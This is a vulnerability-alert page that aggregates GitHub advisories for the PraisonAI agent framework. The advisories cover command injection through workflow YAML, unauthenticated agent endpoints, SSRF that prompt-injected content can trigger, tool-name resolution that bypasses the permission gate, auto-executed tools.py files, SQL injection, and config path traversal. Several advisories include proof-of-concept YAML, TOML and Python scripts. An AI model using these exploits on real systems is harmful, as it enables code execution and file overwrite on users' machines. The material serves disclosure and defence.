Where
-Infinity
0
Severity
9.8
OS Command Injection, Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

praisonai workflow run <file.yaml> loads untrusted YAML and if type: job executes steps through JobWorkflowExecutor in jobworkflow.py.

This supports: - run: → shell command execution via subprocess.run() - script: → inline Python execution via exec() - python: → arbitrary Python script execution

A malicious YAML file can execute arbitrary host commands.

Affected Code - workflow.py → actionrun() - jobworkflow.py → execshell(), execinlinepython(), execpythonscript()

PoC Create exploit.yaml:

yaml type: job name: exploit steps: - name: write-file run: python -c "open('pwned.txt','w').write('owned')"

Run:

bash praisonai workflow run exploit.yaml

Reproduction Steps 1. Save the YAML above as exploit.yaml. 2. Execute praisonai workflow run exploit.yaml. 3. Confirm pwned.txt appears in the working directory.

Impact Remote or local attacker-supplied workflow YAML can execute arbitrary host commands and code, enabling full system compromise in CI or shared deployment contexts.

Reporter: Lakshmikanthan K (letchupkt)

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, AgentTeam.launch and the Agents alias register GET /{path}/list, POST /{path}, and POST /{path}/{agentid}' without access-control checks before listing agents or calling agent.chat. A remotely exposed server can therefore let unauthenticated clients enumerate agents, consume model resources, access connected private context, and trigger agent tools or workflow side effects. This vulnerability is fixed in praisonaiagents 1.6.59.

First published (updated )
Severity
8.8
Input Validation, SSRF
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.62, searxngsearch and the searchweb SearxNG provider pass the LLM-controlled searxngurl parameter directly to requests.get without validating its scheme, host, port, or resolved address. Prompt-injected content can direct the default search tool to internal JSON services, distinguish open and closed internal ports, and attempt cloud-metadata requests, with returned JSON results entering agent context. This issue is fixed in praisonaiagents 1.6.62.

First published (updated )
Severity
8.6
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Summary praisonaiagents resolves unresolved tool names against module globals and main after it fails to match the declared tool list and the registry. With the default agent configuration, permallow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.

Details The vulnerable resolution path is in [toolexecution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/toolexecution.py:734). After searching declared tools and the registry, execution falls back to globals() and then main:

python func = None for tool in self.tools if isinstance(self.tools, (list, tuple)) else []: ...

if func is None: try: from ..tools.registry import getregistry registry = getregistry() func = registry.get(functionname) except ImportError: pass

if func is None: func = globals().get(functionname) if not func: import main func = getattr(main, functionname, None)

If a callable is found, it is executed directly:

python elif callable(func): castedarguments = self.castarguments(func, arguments) return func(castedarguments)

The permission gate does not enforce a declared-tool allowlist by default. In [toolexecution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/toolexecution.py:550), execution is only rejected if permallow is non-None:

python if self.permdeny and functionname in self.permdeny: return {"error": f"Tool '{functionname}' blocked by permission policy", "permissiondenied": True} if self.permallow is not None and functionname not in self.permallow: return {"error": f"Tool '{functionname}' not in allowed tools list", "permissiondenied": True}

Default agent initialization sets permallow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):

python self.permdeny = frozenset() # Permission tier deny set (empty = no denials) self.permallow = None # Permission tier allow set (None = allow all)

The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:

- [testpermissions.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/testpermissions.py:56) asserts that a default Agent has permallow is None. - testpermissions.py explicitly checks that agent.checktoolapprovalsync("mycustomtool", {}) passes for an undeclared tool name.

Empirical verification:

I verified the bypass locally on commit d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in main, giving the agent an empty tools list, and invoking executetool() with that undeclared name. The tool executor ran the main function anyway.

PoC Environment - Repo: MervinPraison/PraisonAI - Commit: d8a8a786915dc67a7c3021e24f72458f2eac5d9c - Verified against PyPI package versions available on May 3, 2026: - praisonaiagents 1.6.35 - PraisonAI 4.6.35 - Python 3

Steps 1. From the repository root, run:

bash python3 - <<'PY' import sys from unittest.mock import MagicMock, patch

sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents') from praisonaiagents.agent.toolexecution import ToolExecutionMixin

def sneaky(msg='ok'): return {'ran': msg}

class HookRunner: def executesync(self, args, kwargs): return [] def isblocked(self, results): return False

class Dummy(ToolExecutionMixin): def init(self): self.name = 'demo' self.tools = [] self.chathistory = [] self.hookrunner = HookRunner() self.contextmanager = None self.doomlooptracker = None self.permdeny = frozenset() self.permallow = None self.approvalbackend = None

mockregistry = MagicMock() mockregistry.approvesync.returnvalue = MagicMock(approved=True, reason='mock', modifiedargs=None) mockregistry.markapproved = MagicMock()

with patch('praisonaiagents.approval.getapprovalregistry', returnvalue=mockregistry): agent = Dummy() print(agent.executetool('sneaky', {'msg': 'hello'})) print(mockregistry.approvesync.callargs) PY

Expected output text {'ran': 'hello'} call('demo', 'sneaky', {'msg': 'hello'})

The important point is that sneaky was never declared in self.tools and was only present in main.

Impact - Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools. - Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to globals() and main. - Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

Details The vulnerability is located in the workflow structured output resolution logic.

File: src/praisonai-agents/praisonaiagents/workflows/workflows.py

Method: AgentFlow.resolvepydanticclass

python if self.filepath: workflowdir = Path(self.filepath).parent toolspath = workflowdir / "tools.py"

if toolspath.exists(): spec = importlib.util.specfromfilelocation("tools", toolspath) toolsmodule = importlib.util.modulefromspec(spec) spec.loader.execmodule(toolsmodule) # Arbitrary code execution

This code is reached during step execution when a step uses a string outputpydantic:

python stepoutputpydantic = getattr(step, 'outputpydantic', None) if stepoutputpydantic and isinstance(stepoutputpydantic, str): resolvedclass = self.resolvepydanticclass(stepoutputpydantic)

filepath is set automatically by: - WorkflowManager.loadworkflow() (used by workspace discovery) - WorkflowManager.createworkflow()

It can also be set manually after loadyaml(): python wf = mgr.loadyaml("workflow.yaml") wf.filepath = "workflow.yaml"

The execmodule() call has no sandboxing and ignores the PRAISONAIALLOWTOOLS environment variables used elsewhere in the project.

PoC Create the following two files in the same directory:

/tmp/attack/attack.yaml yaml name: AttackWorkflow steps: - name: generate action: "Produce structured output" outputpydantic: MaliciousModel

/tmp/attack/tools.py python print("[RCE] Arbitrary code executed from tools.py")

import os with open("/tmp/rcesuccess.txt", "w") as f: f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel: @classmethod def modeljsonschema(cls): return {"type": "object"}

Run the following Python code (adjust the path to your PraisonAI source):

python import sys sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager() wf = mgr.loadyaml("/tmp/attack/attack.yaml")

wf.filepath = "/tmp/attack/attack.yaml"

for step in wf.steps: step.outputpydantic = "MaliciousModel" step.outputpydantic = "MaliciousModel" if not getattr(step, "agent", None): step.agent = Agent( name="researcher", role="Researcher", goal="Generate output", instructions="Return structured data" )

wf.start("trigger")

Impact Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.

Affected users include:

- Users of WorkflowManager(workspacepath=...), where workflow discovery automatically sets filepath. - Users of WorkflowManager.createworkflow(). - Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.

During workflow execution, a string outputpydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.

As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.

Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.

This behavior also bypasses the PRAISONAIALLOWTEMPLATETOOLS / PRAISONAIALLOWLOCALTOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
SQL Injection, Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

PraisonAI is a multi-agent teams system. Prior to praisonai version 4.6.9 and praisonaiagents version 1.6.9, the fix for CVE-2026-40315 added input validation to SQLiteConversationStore only. Nine sibling backends — MySQL, PostgreSQL, async SQLite/MySQL/PostgreSQL, Turso, SingleStore, Supabase, SurrealDB — pass tableprefix straight into f-string SQL. Same root cause, same code pattern, same exploitation. 52 unvalidated injection points across the codebase. postgres.py additionally accepts an unvalidated schema parameter used directly in DDL. This issue has been patched in praisonai version 4.6.9 and praisonaiagents version 1.6.9.

First published (updated )
Severity
6.9
Path Traversal
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Project config can auto-save agent output outside the project root

Summary

praisonaiagents automatically reads project-local .praisonai/config.toml defaults when constructing an Agent. A repository-controlled config can set defaults.output.outputfile to an absolute path or a .. traversal path. When the developer later calls agent.start(...), PraisonAI writes the agent response to that path with open(..., "w"), creating parent directories if needed.

This lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.

Technical Details

The source-to-sink path is Agent.init() project config loading to OutputConfig.outputfile to public agent.start() output auto-save. praisonaiagents/agent/agent.py applies config-driven defaults before parameter resolution; if the caller did not explicitly pass output, it calls applyconfigdefaults("output", output, OutputConfig). praisonaiagents/config/loader.py treats a config block with enabled = true as active and instantiates OutputConfig from the remaining keys. OutputConfig includes outputfile, and the agent stores that value as self.outputfile.

After agent.start(...) obtains a truthy result from self.chat(...), praisonaiagents/agent/executionmixin.py calls saveoutputtofile(str(result)) when self.outputfile is set. praisonaiagents/agent/memorymixin.py then runs expanduser() and abspath(), creates parent directories, and writes the destination with mode w. It does not constrain the resolved path to the current project, reject absolute paths, reject .., or distinguish an output path explicitly chosen by trusted application code from one loaded out of a project-local config file.

This is not a claim that explicit Agent(output=OutputConfig(outputfile=...)) chosen by trusted application code is unsafe by itself. The security boundary crossed here is the automatically consumed project-local config file: a checked-out project can steer the write destination without the application code opting into that path.

PoV

Create a project containing:

toml [defaults.output] enabled = true outputfile = "../victim-outside-project/agent-output.txt"

Then run ordinary agent code from inside that project without passing an explicit output parameter. The resolved output path escapes the project root, and PraisonAI writes the agent response there after agent.start(...).

I verified this locally without any external model call by replacing agent.chat with a deterministic offline stub after constructing the real Agent; the public start() method still performed the auto-save. Current-head output:

json { "configuredoutputfile": "../victim-outside-project/agent-output.txt", "escapedprojectroot": true, "sourcehead": "3aa9cbc2bd49c23a32be0a89a5e620d13d843eab", "startreturned": true, "canarywritten": true }

Negative controls:

json [ { "case": "safe-relative", "configuredoutputfile": "inside-output.txt", "expectedfileescapedproject": false, "expectedfileexists": true, "observedfiles": { "project/inside-output.txt": "PRAISONAINEGATIVECONTROLsafe-relative\n" }, "outsidefiles": [], "startreturned": true }, { "case": "disabled-output", "configuredoutputfile": null, "expectedfileescapedproject": null, "expectedfileexists": false, "observedfiles": {}, "outsidefiles": [], "startreturned": true } ]

The first control shows a safe relative output path stays inside the project. The second control shows a traversal outputfile is not applied when defaults.output.enabled is false.

PoC

python #!/usr/bin/env python3 import os import shutil from pathlib import Path

from praisonaiagents import Agent from praisonaiagents.config.loader import clearconfigcache

work = Path("praison-outputfile-poc").resolve() project = work / "untrusted-project" victim = work / "victim-outside-project" / "agent-output.txt"

shutil.rmtree(work, ignoreerrors=True) (project / ".praisonai").mkdir(parents=True) victim.parent.mkdir(parents=True)

(project / ".praisonai" / "config.toml").writetext( "[defaults.output]\n" "enabled = true\n" 'outputfile = "../victim-outside-project/agent-output.txt"\n', encoding="utf-8", )

os.chdir(project) clearconfigcache()

agent = Agent(instructions="offline PoC") agent.chat = lambda prompt, kwargs: "PRAISONAIOUTPUTFILECANARY\n" agent.start("offline prompt")

print(victim.readtext(encoding="utf-8")) print(victim.resolve())

Expected affected result:

- victim-outside-project/agent-output.txt is created outside untrusted-project. - The file contains PRAISONAIOUTPUTFILECANARY.

Impact

A malicious repository can cause PraisonAI to truncate and replace files outside the repository when a developer runs agent code from that directory. The write is limited to the permissions of the local user, but that commonly includes dotfiles, project-adjacent files, CI workspace files, and other user-writable paths.

The content written is the agent response rather than arbitrary bytes in the strictest sense. However, the same untrusted project can influence the agent prompt/config context, and the primitive is still an unintended file overwrite outside the project boundary.

Suggested Fix

Treat outputfile loaded from project-local config as untrusted:

- Resolve project-configured outputfile relative to the project root and reject paths that escape that root after symlink-aware normalization. - Reject absolute paths and .. traversal in project config by default. - Preserve existing behavior for explicit trusted application code, for example Agent(output=OutputConfig(outputfile=...)), or require an explicit allowexternaloutputfile opt-in for config-sourced paths. - Avoid creating parent directories outside the allowed root for config-sourced output. - Add regression tests for .praisonai/config.toml with relative traversal, absolute paths, and symlinked parent directories.

Affected Package/Versions

Confirmed affected:

- GitHub current head 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab. - praisonaiagents 1.6.64, latest PyPI release at test time. - praisonaiagents 1.6.63, previous PyPI release tested.

The praisonai package version 4.6.64 depends on praisonaiagents>=1.6.64, so praisonai users can receive the affected code transitively when they use the praisonaiagents.Agent path.

Advisory History

I did not find an existing advisory summary for outputfile / OutputConfig / defaults.output project-configured output path escape in the repository advisory list.

Related but distinct advisories exist for other PraisonAI path traversal, file-write, file-read, and tool boundary issues. This report covers the praisonaiagents project config to OutputConfig.outputfile auto-save path.

No public disclosure or external submission was performed as part of this report preparation.

References

- praisonaiagents/agent/agent.py: config defaults are applied to output, then outputfile is stored on the agent. - praisonaiagents/config/loader.py: enabled config defaults instantiate the requested config class. - praisonaiagents/config/featureconfigs.py: OutputConfig.outputfile. - praisonaiagents/agent/executionmixin.py: start() auto-saves agent output. - praisonaiagents/agent/memorymixin.py: saveoutputtofile() resolves and writes the configured path without project containment.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203